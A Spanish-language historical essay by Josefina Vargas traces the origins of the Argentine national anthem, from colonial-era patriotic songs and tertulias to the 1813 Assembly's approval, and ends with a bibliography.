¡Oíd Mortales!¡Recoged el grito libertario, desde sus orígenes!

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Por la Licenciada Josefina VARGAS (*)


>>> | A comienzos del siglo XIX, América comenzaba a despertar. El camino transatlántico europeo conocía ya el nuevo continente que estaba formándose y comenzaba a diversificar sus colonias, un foco de incógnitas, que representaban un misterio, visto desde Europa. Los aventurados navegantes que llegaban al Río de la Plata, traían consigo la experiencia defensiva adquirida en otras tierras. Pese a la incertidumbre en que se vivía, mostraron el deseo de combate, en precarias milicias organizadas entre vecinos. La primitiva sociedad colonial, congregada en Montevideo y Buenos Aires, advirtió la necesidad de armarse para defensa contra las amenazas extranjeras, tomando conciencia de la territorialidad que los identificaba. El incipiente espíritu patriótico fue cobrando fuerza entre los propios pobladores para preservar la región rioplatense.

El clima bélico era generalizado en Europa y en España, la metrópoli del Río de la Plata, donde se había producido una crisis en la monarquía borbónica, y el comienzo de la Guerra de la Independencia española, con la amenaza de las aspiraciones napoleónicas, y expandir los dominios franceses. Las ideas libertarias habían llegado al mundo, con la Revolución Francesa; y toda la inestabilidad política había repercutido en la política de Europa. América ofrecía un albergue para alejarse de esos conflictos, mientras en la convivencia entre españoles y criollos se fue fomentando el modelo independentista, más aún porque en las colonias americanas se construía una nueva sociedad. Estas situaciones se han visto reflejadas en nuestra canción patria en aquellas estrofas “contra los tiranos” que se inspiran en La Marsellesa.

Inglaterra, testigo de estas perturbaciones políticas, que produjeron un vacío de poder en el Río de la Plata, avanzaron con sus milicias hasta el Puerto de Buenos Aires en oportunidad de las Invasiones Inglesas (1806,1807) momento en que los habitantes del Virreinato mostraron la conciencia de combatir para proteger el territorio. Los propios españoles radicados en el margen cisplatino, habían desarrollado su propia raigambre, alejada de los conflictos europeos, con un sentimiento de pertenencia a las tierras americanas. Es por ello, que, en las proximidades de la Revolución de Mayo, esta sociedad criolla, de espíritu ambicioso y rebelde, se había aquerenciado y ensayaba su propia voz.

El investigador Carlos Vega relaciona los orígenes del Himno Nacional Argentino con la inspiración de distintas canciones, marchas o himnos que fueron surgiendo entre los patriotas, hasta llegar a la versión final que fuera aprobada como símbolo patrio.

La Academia Argentina de Letras registra en 1810 la primera canción revolucionaria: Canción Patriótica, cuya letra apareció en la Gazeta de Buenos Aires el 15 de noviembre de 1810, con la firma de “Un ciudadano”…”con la música que otro ciudadano está arreglando”, decía el periódico. Esa versión se atribuye a Esteban de Luca, aunque la música bien pudo haber pertenecido a Blas Parera, ya que la inspiración era compartida por los patriotas, en el marco de la vida social. Entre los españoles emigrantes estaba Blas Parera, proveniente de Barcelona que había encontrado acogida en Buenos Aires, y venía adquiriendo un creciente prestigio dentro del Virreinato del Río de la Plata.

Militar y compositor musical, Esteban de Luca, de veinticuatro años, servía como capitán en el Regimiento de América. Poseía conocimientos técnicos para la fabricación de armas para los ejércitos revolucionarios, aunque también había estudiado Humanidades en el Colegio de San Carlos, destacado en el cultivo de las letras, se imponía por su liderazgo cultural que sirvió de sostén a la naciente Patria, en tiempos de la revolución.

El 25 de Mayo de 1812, un grupo de escolares cantó al pie de la Pirámide de Mayo la “Marcha de la Patria”, con música de Blas Parera y letra de Saturnino de la Rosa, cuyas copias se han perdido. Es por ello que el 22 de Julio de 1812,el Triunvirato solicita al Cabildo que mande a hacer un himno nacional, por lo que Fray Cayetano Rodríguez, poeta e ilustrado franciscano nacido en Buenos Aires, presenta al Cabildo algunas estrofas, que no son las que hoy cantamos. Era costumbre entonar estrofas como estas, con coros escolares en la Pirámide de Mayo para las fiestas mayas:

¡Salve, patria dichosa!
¡Oh, dulce patria, salve,
Y por siglos eternos
Se cuenten tus edades!

El Cabildo, entonces, encomienda a Blas Parera la creación de la música que fuera: “cantable, sencilla y magestuosa(1).

Entre la gente del pueblo, se fue imponiendo esta costumbre de entonar canciones y marchas patrióticas; imponiendo el espíritu popular, con la inspiración de poetas y músicos como Fray Cayetano Rodríguez, Pedro Esnaola, Vicente López y Planes, Blas Parera y otros. Estas costumbres fueron la base de una búsqueda popular de una canción patria erigida como símbolo.

La historiadora Lucía Gálvez describe aquella vida colonial: “El mestizaje biológico y cultural, fruto de la conquista española en América, fue el origen de nuestra singularidad e idiosincrasia”. Se inició en el Nuevo Mundo desde el primer intento de colonización y luego fue creciendo una cultura híbrida entre los habitantes advenedizos.

En la vida colonial de los salones y las tertulias, prosperaba la nueva música fomentada por la aristocracia virreinal con influencia española: minuets, gavotas, valses, contradanzas con instrumentos como el arpa y el piano. Es por ello que allí, se produjo el estreno del Himno Nacional Argentino en un ámbito propicio, que ha quedado ligado al recuerdo de Mariquita Sánchez de Thompson, que prestigió las tertulias en su casa, ubicada en calle Florida entre Perón y Sarmiento, y que se recuerda en un famoso cuadro donde el protagonista es el Himno Nacional Argentino.

En aquella esquina, cualquiera de nosotros, presos de la nostalgia, podríamos visualizar algunos de los signos por donde pasó aquel enclave histórico que dio vida a nuestro Himno. Las tertulias eran convocantes reuniones sociales, donde se vivía en plenitud la cultura libertaria entre patriotas, intelectuales conocidos, y las damas que animaban la sociedad colonial de Buenos Aires.

La música era una práctica cultural en que se volcaban los ideales patrióticos en canciones y poesía, con expresiones de recitado, escritos, o muros pintados en la ciudad, según leemos en los documentos de la época. Las marchas patrióticas interpretadas por las formaciones militares coloniales, fueron consolidando el espíritu patriótico.

El 11 de mayo se recuerda el día del Himno, cuando la Asamblea de 1813 aprobó sus estrofas. La música, vino después. No se han encontrado las copias originales y se piensa que tampoco es veraz el cuadro que muestra la canción en casa de Mariquita Sánchez de Thompson, pero sí sabemos que circulaban entre los criollos distintas marchas y canciones que intentaban identificar la nueva nación; y los hechos que ocurrían iban marcando cambios en las alusiones que se incluían. Por ello se fueron modificando las versiones hasta que se declaró la composición como Himno Nacional Argentino, el 28 de mayo, y se realizó una presentación musical de Blas Parera, en el Teatro Coliseo con coros de niños que concluyó con alegres exclamaciones, según cuenta la Gaceta Ministerial de Buenos Aires.

La participación popular en la inspiración de nuestro Himno, ha sido un auténtico ejemplo para revalorizar el “Signo Patrio” con una entonación siempre presente, donde ponemos el corazón; porque sus notas nos vinculan con historias de heroísmo y virtud. Por ello, al cantarlo, es la Patria que vibra en la voz y nos incluye, nos compromete en la continuidad del legado, tras el imperativo “Sean eternos los laureles”. Seamos dignos de mantener las glorias del pasado, proyectando un futuro de esperanza.

Sugerencias bibliográficas:
ARRIETA, R.A.1958 Historia de la Literatura Argentina Tomo I –Ediciones Peuser Buenos Aires
La Lira Argentina 1982 Edición de la Academia Argentina de Letras –Edición Crítica, Estudio y Notas de Pedro Luis Barcia-Clásicos Argentinos Vol XV
GALVEZ, Lucía 1999 Mujeres de la Conquista Edit. Punto de Lectura –Bs.As.
VEGA, C. 1962 El Himno Nacional Argentino Edit. Eudeba
OBLIGADO, P. 1903 Tradiciones argentinas –Montaner y Simón editores –Barcelona –P.15: El Himno Nacional

(1) Archivo General de la Nación documento citado por VEGA, C. 1962 El Himno Nacional Argentino – Libros del tiempo nuevo. Eudeba Bs.As.)
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